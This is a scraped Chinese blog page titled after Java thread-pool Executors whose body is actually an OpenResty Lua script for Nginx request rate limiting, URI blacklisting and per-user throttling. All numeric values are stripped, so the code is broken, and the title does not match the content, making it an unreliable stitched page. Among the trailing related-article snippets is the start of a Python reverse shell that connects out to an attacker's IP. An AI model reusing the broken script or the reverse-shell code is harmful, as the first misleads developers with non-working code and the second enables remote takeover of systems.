线程池Executors探究
--[[
执行过载限流策略
--]] -- 当执行限流时,Nginx 返回的状态码
err_code = local limit_config = {
user_limit = {rate = , brust = }, --用户限流维度桶设置
priority_uri_limit = { --指定 URI 限流维度桶设置
['/elis_smp_portal_dmz/do/cms/getLittleRedDotInfo'] = {rate = , brust = },
['/elis_smp_portal_dmz/do/esa/portal.msgcenter.unreadv2'] = {rate = , brust = },
['/elis_smp_portal_dmz/do/home/getUpgradeReminder'] = {rate = , brust = },
['/elis_smp_portal_dmz/do/userLogin/checkPluginVersion'] = {rate = , brust = },
['/elis_smp_portal_dmz/do/createRYMSession'] = {rate = , brust = },
['/elis_smp_portal_dmz/do/zone/queryZoneConfig'] = {rate = , brust = }
},
error_status = err_code, --请求被限流时返回状态码
nodelay = no --是否需要不延迟处理
} --定义限流策略方法名称
local limit_user_method = "limit_by_user"
local limit_uri_method = "limit_by_priority_uri" local limit_req = require "resty.limit.req" ngx.req.read_body() --过载保护策略总开关,若开关关闭,则全部策略失效
local limit_req_store = ngx.shared.limit_req_store
local overload_protection_switch = limit_req_store:get("overload_protection_switch")
if (overload_protection_switch ~= nil and overload_protection_switch == "N") then
ngx.log(ngx.INFO, "nginx limit strategy has been shutdown.")
return
end -- 获取当前请求 URI
local cur_uri = ngx.var.uri -- 执行过载操作
local is_in_black_list = limit_req_store:get("black_list:"..cur_uri)
local is_rejected_uri = reject_uri_tab["rejected"..cur_uri]
if (is_in_black_list ~= nil or is_rejected_uri ~= nil) then
-- 拦截比例,默认全部拦截
local request_limit_percent = limit_req_store:get("reject_request_percent")
if request_limit_percent == nil then
request_limit_percent =
end
local random_num = math.random()
if random_num <= tonumber(request_limit_percent) then
ngx.log(ngx.ERR,"nginx limit strategy current uri=",cur_uri," has been rejected.")
ngx.exit(ngx.HTTP_FORBIDDEN)
end
end -- 执行限流策略,入参:key 和 commit,commit 默认为 true
local function execute_limit_strategy(lim, key, commit, method)
-- 请求流入,如果你的请求需要被延迟则返回delay>0
local delay, err = lim:incoming(key, commit)
if (not delay and err == "rejected") then
ngx.log(ngx.ERR, "nginx limit strategy: ",method,", key: ", key, " request rate was exceeded, current request was rejected.")
ngx.exit(limit_config.error_status)
end -- 根据需要决定延迟或者不延迟处理
if delay > then
if limit_config.nodelay then
-- 直接突发处理
-- ngx.log(ngx.ERR, "nginx limit strategy: ", method, ", key: ", key, " request rate was exceeded, current request was rejected. delay")
-- ngx.exit(error_status)
else
--延迟处理
ngx.sleep(delay)
end
end
end -- 获取限流策略的共享内存
local function get_shared_dict(shared_dict_name, rate, burst)
local limit_shared_dict, err = limit_req.new(shared_dict_name, rate, burst)
if not limit_shared_dict then --没定义共享字典
ngx.log(ngx.ERR, "Nginx limit shared dict:", shared_dict_name, " has not been set.")
ngx.exit(error_status)
end
return limit_shared_dict
end -- 初始化 URL 限流策略 table
local uri_limit_tab = {} local user_lim if limit_config == nil then
ngx.log(ngx.ERR, "nginx request limit has no config info.")
return
else
local user_limit_config = limit_config.user_limit
ngx.log(ngx.DEBUG,"limit config user rate:", user_limit_config.rate, ", brust:", user_limit_config.brust)
user_lim = get_shared_dict("limit_req_store",user_limit_config.rate, user_limit_config.brust)
local priority_uri_limit_config = limit_config.priority_uri_limit
for key, value in pairs(priority_uri_limit_config) do
local rate = value.rate
local brust = value.brust
ngx.log(ngx.DEBUG,"limit config uri:", key, ", rate:", rate,", brust:",brust)
local lim = get_shared_dict("limit_req_store",rate,brust)
uri_limit_tab[key]=lim
end
end -- 执行指定 URI 限流策略
if uri_limit_tab[cur_uri] ~= nil then
execute_limit_strategy(uri_limit_tab[cur_uri], cur_uri , true , limit_uri_method)
end -- 获取客户端请求 IP
local remote_ip = ngx.var.remote_addr
local user_id
local device_id
local key_by_user -- 获取用户ID 或 设备号
local request_method = ngx.var.request_method
if "GET" == request_method then
user_id = ngx.req.get_uri_args()["uid"]
device_id = ngx.req.get_uri_args()["deviceId"]
ngx.log(ngx.DEBUG, "nginx request limit module GET parameter user_id: ",user_id, " header:",device_id)
elseif "POST" == request_method then
-- 获取请求头信息,如果缺少请求头信息判断,遇到上传文件操作时,会引起ngx.req.get_post_args()操作异常。
local receive_headers = ngx.req.get_headers()
local body_data = ngx.req.get_body_data()
if not body_data or (receive_headers["content-type"] ~= nil and string.sub(receive_headers["content-type"],,) == "multipart/form-data;") then
ngx.log(ngx.WARN,"nginx request limit module uri: ",cur_uri, " header:",receive_headers["content-type"],", body data:",body_data)
return
end
user_id = ngx.req.get_post_args()['uid'];
device_id = ngx.req.get_post_args()['deviceId'];
ngx.log(ngx.DEBUG, "nginx request limit module POST parameter user_id: ",user_id, " device_id:",device_id)
end -- 调试日志
ngx.log(ngx.ERR, "nginx request limit module cur_uri:",cur_uri, ", user_id: ",user_id) if (user_id ~= nil or device_id ~= nil) then
if user_id ~= nil then
key_by_user = user_id
else
key_by_user = device_id
end
execute_limit_strategy(user_lim,key_by_user..":"..remote_ip, true, limit_user_method)
end
线程池Executors探究的更多相关文章
- 线程池-Executors
合理使用线程池能够带来三个好处 减少创建和销毁线程上所花的时间以及系统资源的开销 提高响应速度.当任务到达时,任务可以不需要等到线程创建就能立即执行 提高线程的客观理性.线程是稀缺资源,如果无限制的创 ...
- Java实现“睡排序”——线程池Executors的使用
前提 之前在知乎上看见一个有意思的排序算法——睡排序. 睡排序最早好像是4chan上一个用户用shell脚本实现的: 算法思想简洁明了:利用进程的sleep来实现 越大的数字越迟输出. 虽然像2L说的 ...
- 线程池——Executors
一 Executor框架 为了更好地控制多线程,JDK提供了一套线程框架Executor,帮助开发人员有效的进行线程控制.它们都在java.util.concurrent包中,是JDK并发包的核心.其 ...
- java 线程之executors线程池
一.线程池的作用 平时的业务中,如果要使用多线程,那么我们会在业务开始前创建线程,业务结束后,销毁线程.但是对于业务来说,线程的创建和销毁是与业务本身无关的,只关心线程所执行的任务.因此希望把尽可能多 ...
- 为什么阿里巴巴要禁用Executors创建线程池?
作者:何甜甜在吗 juejin.im/post/5dc41c165188257bad4d9e69 看阿里巴巴开发手册并发编程这块有一条:线程池不允许使用Executors去创建,而是通过ThreadP ...
- 为什么尽量不要使用Executors创建线程池
看阿里巴巴开发手册并发编程这块有一条:线程池不允许使用Executors去创建,而是通过ThreadPoolExecutor的方式,通过源码分析禁用的原因. 线程池的优点 管理一组工作线程,通过线程池 ...
- [转]为什么阿里巴巴要禁用Executors创建线程池?
作者:何甜甜在吗 链接:https://juejin.im/post/5dc41c165188257bad4d9e69 来源:掘金 看阿里巴巴开发手册并发编程这块有一条:线程池不允许使用Executo ...
- java核心知识点学习----重点学习线程池ThreadPool
线程池是多线程学习中需要重点掌握的. 系统启动一个新线程的成本是比较高的,因为它涉及与操作系统交互.在这种情形下,使用线程池可以很好的提高性能,尤其是当程序中需要创建大量生存期很短暂的线程时,更应该考 ...
- Android学习笔记之ExecutorService线程池的应用....
PS:转眼间就开学了...都不知道这个假期到底是怎么过去的.... 学习内容: ExecutorService线程池的应用... 1.如何创建线程池... 2.调用线程池的方法,获取线程执行完毕后的结 ...
随机推荐
- linux kernel module
#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h> static i ...
- HDU 1079 Calendar Game 博弈
题目大意:从1900年1月1日 - 2001年11月4日间选择一天为起点,两个人依次进行两种操作中的任意一种,当某人操作后为2001年11月4日时,该人获胜.问先手是否获胜 操作1:向后移一天 操作2 ...
- win10锁屏壁纸路径
C:\Users\ShanYu\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalS ...
- sql 将某列转换成一个字符串 for xml path用法
declare @test table( name varchar(10)) insert into @test values('a') insert into @test values('b') i ...
- redo log
1.redo log相关数据字典 v$log:display the redo log file information from the control file v$logfile:identif ...
- (一)html之基本结构
一:HTML基本结构 1.1 HTML文档结构 1.1.1 外层结构 <!DOCTYPE HTML> <html> </html> DOCTYPE元素用于告诉浏览器 ...
- Zookeeper理解
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,它包含一个简单的原语集,分布式应用程序可以基于它实现同步服务,配置维护和命名服务等.Zookeeper是hadoop的一个子项目,其 ...
- 阻塞与非阻塞、同步与异步 I/O模型
I/O模型 Linux 下的五种I/O模型 阻塞I/O(blocking I/O) 非阻塞I/O (nonblocking I/O) I/O复用(select 和poll) (I/O multiple ...
- Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
- 1、IO输入&输出流 简介
IO流的分类: * 流向: * 输入流 读取数据 * 输出流 写出数据 * 数据类型: * 字节流 * 字节输入流 读取数据 InputStream * 字节输出流 写出数据 OutputStream ...